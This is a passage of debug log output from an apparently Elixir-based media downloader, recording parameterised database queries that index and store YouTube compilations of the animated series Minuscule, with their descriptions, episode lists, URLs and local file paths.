#animatedseries", "Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation", "aea598e4-f6a1-44c6-91ee-f29cce1562f6", "ooZmfVoI3SY", 3530, false, 5, "https://www.youtube.com/watch?v=ooZmfVoI3SY", 11, "/downloads/Miniscule Season 2/2025-11-13 Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation/Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation [ooZmfVoI3SY].mp4", false, false, false, [], 1, ~U[2025-11-13 11:01:42Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Gather More to Pollinate More | S02E32\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Fly Hunting | S02E24\n00:11:04 | Turbo speed | S02E58\n00:14:29 | The Annoying Neighbor | S02E28\n00:18:05 | Away all boarders! | S02E41\n00:21:47 | Trapped | S02E64\n00:25:30 | The Grocery Store Incident | S02E39\n00:29:00 | Mission : BBQ | S02E09\n00:32:46 | The Butterfly Effect | S02E23\n00:36:08 | At Full Speed | S02E27\n00:39:52 | Hop On! | S02E25\n00:43:29 | If Only Lonely | S02E22\n00:47:15 | Zzz In The Metro | S02E53\n00:50:50 | Honey Fly | S02E08\n00:54:40 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#gather #pollinate #productivity #competition #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation", "ooZmfVoI3SY", 3530, false, 5, "https://www.youtube.com/watch?v=ooZmfVoI3SY", "/downloads/Miniscule Season 2/2025-11-13 Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation/Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation [ooZmfVoI3SY].mp4", false, ~U[2025-11-13 11:01:42Z]] 22:15:38.916 [debug] QUERY OK source="sources" db=0.3ms idle=15.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.917 [debug] QUERY OK source="media_items" db=0.6ms idle=15.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-06 11:01:52Z], 5] 22:15:38.922 [debug] QUERY OK source="media_items" db=4.1ms idle=15.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pathetic She'Nut'Igan | S02E12\n00:03:45 | Summer Hat | S02E48\n00:07:27 | The Stubborn Spider | S02E04\n00:11:12 | Brushing | S02E46\n00:14:44 | The Grocery Store Racketeer | S02E50\n00:18:20 | The Hat Of The Medusa | S02E17\n00:22:06 | Honey Fly | S02E08\n00:25:56 | Ladybugland | S02E62\n00:29:23 | Refrigerated | S02E65\n00:32:58 | Microzilla | S02E07\n00:36:43 | Fly Hunting | S02E24\n00:40:17 | Spider Driver | S02E36\n00:43:58 | To The Port Now! | S02E43\n00:47:26 | The Chocolate Chase! | S02E19\n00:51:11 | If Only Lonely | S02E22\n00:54:57 | Ants On The Train | S02E52\n00:58:28 | Labyrinth | S02E69\n01:02:14 | Spider from the Depths | S02E31\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pathetic #Spider #Invent #Strategies #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation", "8ae3eb7b-4d66-4d17-ac76-b594f24cd4da", "yOHwnMxTeok", 3987, false, 5, "https://www.youtube.com/watch?v=yOHwnMxTeok", 13, "/downloads/Miniscule Season 2/2025-11-06 A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation/A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation [yOHwnMxTeok].mp4", false, false, false, [], 1, ~U[2025-11-06 11:01:52Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pathetic She'Nut'Igan | S02E12\n00:03:45 | Summer Hat | S02E48\n00:07:27 | The Stubborn Spider | S02E04\n00:11:12 | Brushing | S02E46\n00:14:44 | The Grocery Store Racketeer | S02E50\n00:18:20 | The Hat Of The Medusa | S02E17\n00:22:06 | Honey Fly | S02E08\n00:25:56 | Ladybugland | S02E62\n00:29:23 | Refrigerated | S02E65\n00:32:58 | Microzilla | S02E07\n00:36:43 | Fly Hunting | S02E24\n00:40:17 | Spider Driver | S02E36\n00:43:58 | To The Port Now! | S02E43\n00:47:26 | The Chocolate Chase! | S02E19\n00:51:11 | If Only Lonely | S02E22\n00:54:57 | Ants On The Train | S02E52\n00:58:28 | Labyrinth | S02E69\n01:02:14 | Spider from the Depths | S02E31\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pathetic #Spider #Invent #Strategies #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation", "yOHwnMxTeok", 3987, false, 5, "https://www.youtube.com/watch?v=yOHwnMxTeok", "/downloads/Miniscule Season 2/2025-11-06 A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation/A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation [yOHwnMxTeok].mp4", false, ~U[2025-11-06 11:01:52Z]] 22:15:38.923 [debug] QUERY OK source="sources" db=0.3ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.924 [debug] QUERY OK source="media_items" db=0.6ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-04 07:00:53Z], 5] 22:15:38.929 [debug] QUERY OK source="media_items" db=4.4ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Night of the Gastropods | S02E18\n00:07:31 | Snow Carrot | S02E59\n00:11:09 | Twelve Angry Snails | S02E66\n00:14:42 | Thirsty | S02E29\n00:18:14 | The Long Road | S02E34\n00:21:57 | Snow Fly | S02E51\n00:25:21 | It's a tie! | S02E67\n00:29:02 | The Vegetable Garden | S02E10\n00:32:46 | Away all boarders! | S02E41\n00:36:29 | Down The Chimney | S02E42\n00:40:14 | White As Snow | S02E63\n00:43:51 | Sleep Walker | S02E68\n00:47:15 | Sand Castle | S02E49\n00:50:42 | At Full Speed | S02E27\n00:54:25 | Homeless | S02E02\n00:58:13 | The Hat Of The Medusa | S02E17\n01:01:59 | Metamorphosis | S02E61\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #garden #snail #war #salad #Minuscule #nature #insects #ladybugs #animatedseries", "Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation", "a18fef5a-8e96-4688-91ef-158e56b994d8", "yTR3JnYV6Tk", 3968, false, 5, "https://www.youtube.com/watch?v=yTR3JnYV6Tk", 14, "/downloads/Miniscule Season 2/2025-11-04 Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation [yTR3JnYV6Tk].mp4", false, false, false, [], 1, ~U[2025-11-04 07:00:53Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Night of the Gastropods | S02E18\n00:07:31 | Snow Carrot | S02E59\n00:11:09 | Twelve Angry Snails | S02E66\n00:14:42 | Thirsty | S02E29\n00:18:14 | The Long Road | S02E34\n00:21:57 | Snow Fly | S02E51\n00:25:21 | It's a tie! | S02E67\n00:29:02 | The Vegetable Garden | S02E10\n00:32:46 | Away all boarders! | S02E41\n00:36:29 | Down The Chimney | S02E42\n00:40:14 | White As Snow | S02E63\n00:43:51 | Sleep Walker | S02E68\n00:47:15 | Sand Castle | S02E49\n00:50:42 | At Full Speed | S02E27\n00:54:25 | Homeless | S02E02\n00:58:13 | The Hat Of The Medusa | S02E17\n01:01:59 | Metamorphosis | S02E61\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #garden #snail #war #salad #Minuscule #nature #insects #ladybugs #animatedseries", "Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation", "yTR3JnYV6Tk", 3968, false, 5, "https://www.youtube.com/watch?v=yTR3JnYV6Tk", "/downloads/Miniscule Season 2/2025-11-04 Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation [yTR3JnYV6Tk].mp4", false, ~U[2025-11-04 07:00:53Z]] 22:15:38.930 [debug] QUERY OK source="sources" db=0.5ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.930 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-08 19:00:26Z], 5] 22:15:38.936 [debug] QUERY OK source="media_items" db=4.8ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hop On! | S02E25\n00:03:37 | Zzz In The Metro | S02E53\n00:07:12 | Honey Fly | S02E08\n00:11:02 | Fly Hunting | S02E24\n00:14:36 | The Butterfly Effect | S02E23\n00:17:58 | Valentine's Day | S02E15\n00:21:44 | Snow Fly | S02E51\n00:25:08 | Turbo speed | S02E58\n00:28:33 | Metamorphosis | S02E61\n00:32:03 | At Full Speed | S02E27\n00:35:47 | Trapped | S02E64\n00:39:30 | The Chocolate Chase! | S02E19\n00:43:15 | Sleep Walker | S02E68\n00:46:40 | Down The Chimney | S02E42\n00:50:25 | If Only Lonely | S02E22\n00:54:11 | The Long Road | S02E34\n00:57:54 | The Wing Case | S02E01\n01:01:39 | Love Apple | S02E45\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #butterfly #traffic #crossroad #ladybug #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "Hop On! | Minuscule 🍃 85' Compilation", "e18aa383-9d15-4567-9198-813c4cd7c8cd", "Es5UBeusgdQ", 3957, false, 5, "https://www.youtube.com/watch?v=Es5UBeusgdQ", 15, "/downloads/Miniscule Season 2/2025-11-08 Hop On! | Minuscule 🍃 85' Compilation/Hop On! | Minuscule 🍃 85' Compilation [Es5UBeusgdQ].mp4", false, false, false, [], 1, ~U[2025-11-08 19:00:26Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hop On! | S02E25\n00:03:37 | Zzz In The Metro | S02E53\n00:07:12 | Honey Fly | S02E08\n00:11:02 | Fly Hunting | S02E24\n00:14:36 | The Butterfly Effect | S02E23\n00:17:58 | Valentine's Day | S02E15\n00:21:44 | Snow Fly | S02E51\n00:25:08 | Turbo speed | S02E58\n00:28:33 | Metamorphosis | S02E61\n00:32:03 | At Full Speed | S02E27\n00:35:47 | Trapped | S02E64\n00:39:30 | The Chocolate Chase! | S02E19\n00:43:15 | Sleep Walker | S02E68\n00:46:40 | Down The Chimney | S02E42\n00:50:25 | If Only Lonely | S02E22\n00:54:11 | The Long Road | S02E34\n00:57:54 | The Wing Case | S02E01\n01:01:39 | Love Apple | S02E45\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #butterfly #traffic #crossroad #ladybug #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "Hop On! | Minuscule 🍃 85' Compilation", "Es5UBeusgdQ", 3957, false, 5, "https://www.youtube.com/watch?v=Es5UBeusgdQ", "/downloads/Miniscule Season 2/2025-11-08 Hop On! | Minuscule 🍃 85' Compilation/Hop On! | Minuscule 🍃 85' Compilation [Es5UBeusgdQ].mp4", false, ~U[2025-11-08 19:00:26Z]] 22:15:38.937 [debug] QUERY OK source="sources" db=0.2ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.938 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 19:01:03Z], 5] 22:15:38.943 [debug] QUERY OK source="media_items" db=4.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Romeo and Antiet | S03E27\n00:12:21 | Night Of The Mandibles | S03E28\n00:39:06 | Ant On The Rocks | S03E17\n00:40:37 | Sow The Wind And Reap The Storm | S03E11\n00:42:15 | A Pea In The Hand Is Worth... | S03E05\n00:43:47 | The Magic Fly | S03E15\n00:45:16 | Blunder | S03E26\n00:46:56 | The Sled and the Ant | S03E25\n00:48:25 | Telecanetic | S03E19\n00:49:54 | The Artist | S03E18\n00:51:39 | A Dream Of Speed | S03E24\n00:53:09 | Mosquito Net | S03E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #conflict #spying #leadership #insects #entomologist #capture #ladybird #Minuscule #nature #ladybugs #animatedseries", "Romeo and Antiet | Minuscule Specials | 60' Compilation", "e4eedb40-5038-4017-b769-ca051e6dd947", "wo0P_r_WzPU", 3297, false, 5, "https://www.youtube.com/watch?v=wo0P_r_WzPU", 16, "/downloads/Miniscule Season 2/2025-11-22 Romeo and Antiet | Minuscule Specials | 60' Compilation/Romeo and Antiet | Minuscule Specials | 60' Compilation [wo0P_r_WzPU].mp4", false, false, false, [], 1, ~U[2025-11-22 19:01:03Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Romeo and Antiet | S03E27\n00:12:21 | Night Of The Mandibles | S03E28\n00:39:06 | Ant On The Rocks | S03E17\n00:40:37 | Sow The Wind And Reap The Storm | S03E11\n00:42:15 | A Pea In The Hand Is Worth... | S03E05\n00:43:47 | The Magic Fly | S03E15\n00:45:16 | Blunder | S03E26\n00:46:56 | The Sled and the Ant | S03E25\n00:48:25 | Telecanetic | S03E19\n00:49:54 | The Artist | S03E18\n00:51:39 | A Dream Of Speed | S03E24\n00:53:09 | Mosquito Net | S03E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #conflict #spying #leadership #insects #entomologist #capture #ladybird #Minuscule #nature #ladybugs #animatedseries", "Romeo and Antiet | Minuscule Specials | 60' Compilation", "wo0P_r_WzPU", 3297, false, 5, "https://www.youtube.com/watch?v=wo0P_r_WzPU", "/downloads/Miniscule Season 2/2025-11-22 Romeo and Antiet | Minuscule Specials | 60' Compilation/Romeo and Antiet | Minuscule Specials | 60' Compilation [wo0P_r_WzPU].mp4", false, ~U[2025-11-22 19:01:03Z]] 22:15:38.944 [debug] QUERY OK source="sources" db=0.2ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.944 [debug] QUERY OK source="media_items" db=0.6ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-28 15:02:07Z], 5] 22:15:38.950 [debug] QUERY OK source="media_items" db=4.4ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Housing Plant Project | S02E26\n00:07:24 | The Annoying Neighbor | S02E28\n00:11:00 | Love Apple | S02E45\n00:14:39 | Trapped | S02E64\n00:18:22 | A Butterfly's Nightmare | S02E20\n00:21:39 | The Iron Monster | S02E33\n00:25:12 | Metamorphosis | S02E61\n00:28:43 | Beehive On A Troll | S02E56\n00:32:13 | The Wing Case | S02E01\n00:35:59 | The Vegetable Garden | S02E10\n00:39:43 | Away all boarders! | S02E41\n00:43:26 | If Only Lonely | S02E22\n00:47:11 | The Hat Of The Medusa | S02E17\n00:50:57 | An Acorn Season | S02E05\n00:54:42 | Patatas Fritas | S02E21\n00:58:28 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #plant #winter #competition #Minuscule #nature #insects #ladybugs #animatedseries", "Homeless 🎃 Minuscule 🍃 80' Compilation", "ba642c52-a563-419a-a827-98652cc55bfe", "xQPQfuEUDH0", 3772, false, 5, "https://www.youtube.com/watch?v=xQPQfuEUDH0", 17, "/downloads/Miniscule Season 2/2025-10-28 Homeless 🎃 Minuscule 🍃 80' Compilation/Homeless 🎃 Minuscule 🍃 80' Compilation [xQPQfuEUDH0].mp4", false, false, false, [], 1, ~U[2025-10-28 15:02:07Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Housing Plant Project | S02E26\n00:07:24 | The Annoying Neighbor | S02E28\n00:11:00 | Love Apple | S02E45\n00:14:39 | Trapped | S02E64\n00:18:22 | A Butterfly's Nightmare | S02E20\n00:21:39 | The Iron Monster | S02E33\n00:25:12 | Metamorphosis | S02E61\n00:28:43 | Beehive On A Troll | S02E56\n00:32:13 | The Wing Case | S02E01\n00:35:59 | The Vegetable Garden | S02E10\n00:39:43 | Away all boarders! | S02E41\n00:43:26 | If Only Lonely | S02E22\n00:47:11 | The Hat Of The Medusa | S02E17\n00:50:57 | An Acorn Season | S02E05\n00:54:42 | Patatas Fritas | S02E21\n00:58:28 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #plant #winter #competition #Minuscule #nature #insects #ladybugs #animatedseries", "Homeless 🎃 Minuscule 🍃 80' Compilation", "xQPQfuEUDH0", 3772, false, 5, "https://www.youtube.com/watch?v=xQPQfuEUDH0", "/downloads/Miniscule Season 2/2025-10-28 Homeless 🎃 Minuscule 🍃 80' Compilation/Homeless 🎃 Minuscule 🍃 80' 